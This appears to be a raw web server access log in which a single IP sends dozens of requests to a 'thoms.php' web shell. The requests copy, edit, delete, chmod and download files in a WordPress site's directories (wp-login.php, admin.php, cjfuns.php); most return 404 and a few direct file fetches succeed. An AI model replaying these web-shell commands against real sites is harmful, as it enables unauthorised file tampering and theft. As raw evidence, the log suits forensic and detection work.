45.135.193.11 - - [11/Sep/2026:23:56:26 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=betcity.com-20260912023741 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=betcity.com-20260912023741" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:26 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:26 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:26 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:26 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:26 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=besth2o.com-20260912023731 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=besth2o.com-20260912023731" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:26 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:26 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:26 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-content&finish=1&move=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-content&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:26 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:26 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:26 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:26 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:26 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:26 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=broadweb.com-20260912023716 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=broadweb.com-20260912023716" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:27 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=wordpress-6.6-20260912023539 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:27 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-content&finish=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-content&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:27 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:27 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:27 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:27 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=biotaiwan.com-20260912023713 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=biotaiwan.com-20260912023713" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:27 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:27 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:27 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:27 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:27 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=wp-content-20260912023544 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:27 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:27 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:27 -0400] "GET /thoms.php?edit=wp-cron.php&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-cron.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:27 -0400] "GET /thoms.php?edit=wp-cron.php&env=ace&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-cron.php&env=ace&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:27 -0400] "GET /thoms.php?edit=wp-links-opml.php&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-links-opml.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:28 -0400] "GET /biotaiwan.com.tw/wp-includes/?MA= HTTP/1.1" 200 9282 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:28 -0400] "GET /biotaiwan.com.tw/wp-includes/?SA= HTTP/1.1" 200 9291 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:28 -0400] "GET /biotaiwan.com.tw/wp-includes/?ND= HTTP/1.1" 200 9243 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:28 -0400] "GET /thoms.php?edit=wp-links-opml.php&env=ace&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-links-opml.php&env=ace&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:28 -0400] "GET /thoms.php?edit=filefuns.php&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=filefuns.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:28 -0400] "GET /thoms.php?edit=filefuns.php&env=ace&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=filefuns.php&env=ace&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:28 -0400] "GET /thoms.php?edit=locoy.php&env=ace&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=locoy.php&env=ace&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:28 -0400] "GET /thoms.php?edit=locoy.php&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=locoy.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:28 -0400] "GET /thoms.php?edit=wp-activate.php&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-activate.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:28 -0400] "GET /thoms.php?edit=wp-activate.php&env=ace&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-activate.php&env=ace&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:28 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-login.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-login.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:28 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-login.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-login.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:28 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-login.php&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-login.php&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:28 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-login.php&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-login.php&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:28 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-login.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-login.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:28 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-login.php&finish=1&move=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-login.php&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:29 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-login.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-login.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:29 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-login.php&p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-login.php&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:29 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-login.php&finish=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-login.php&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:29 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-login.php&p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-login.php&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:29 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-login.php&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-login.php&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:29 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages%2Fcjfuns.php&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages%2Fcjfuns.php&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:29 -0400] "GET /thoms.php?del=index.php&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=index.php&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:29 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fpublic-languages&view=license.txt HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fpublic-languages&view=license.txt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:29 -0400] "GET /thoms.php?dl=license.txt&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=license.txt&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:29 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fpublic-languages&view=cjfuns.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fpublic-languages&view=cjfuns.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:29 -0400] "GET /thoms.php?del=profile.php&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=profile.php&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:29 -0400] "GET /thoms.php?chmod=admin.php&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:29 -0400] "GET /thoms.php?del=admin.php&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=admin.php&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:29 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages%2Fadmin.php&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages%2Fadmin.php&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:29 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fpublic-languages&view=index.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fpublic-languages&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:29 -0400] "GET /biotaiwan.com.tw/public-languages/index.php HTTP/1.1" 200 6454 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:29 -0400] "GET /thoms.php?chmod=profile.php&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=profile.php&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:30 -0400] "GET /thoms.php?chmod=cjfuns.php&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=cjfuns.php&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:30 -0400] "GET /thoms.php?del=cjfuns.php&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=cjfuns.php&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:30 -0400] "GET /thoms.php?dl=cjfuns.php&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=cjfuns.php&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:30 -0400] "GET /thoms.php?chmod=index.php&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:30 -0400] "GET /biotaiwan.com.tw/public-languages/license.txt HTTP/1.1" 200 69 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
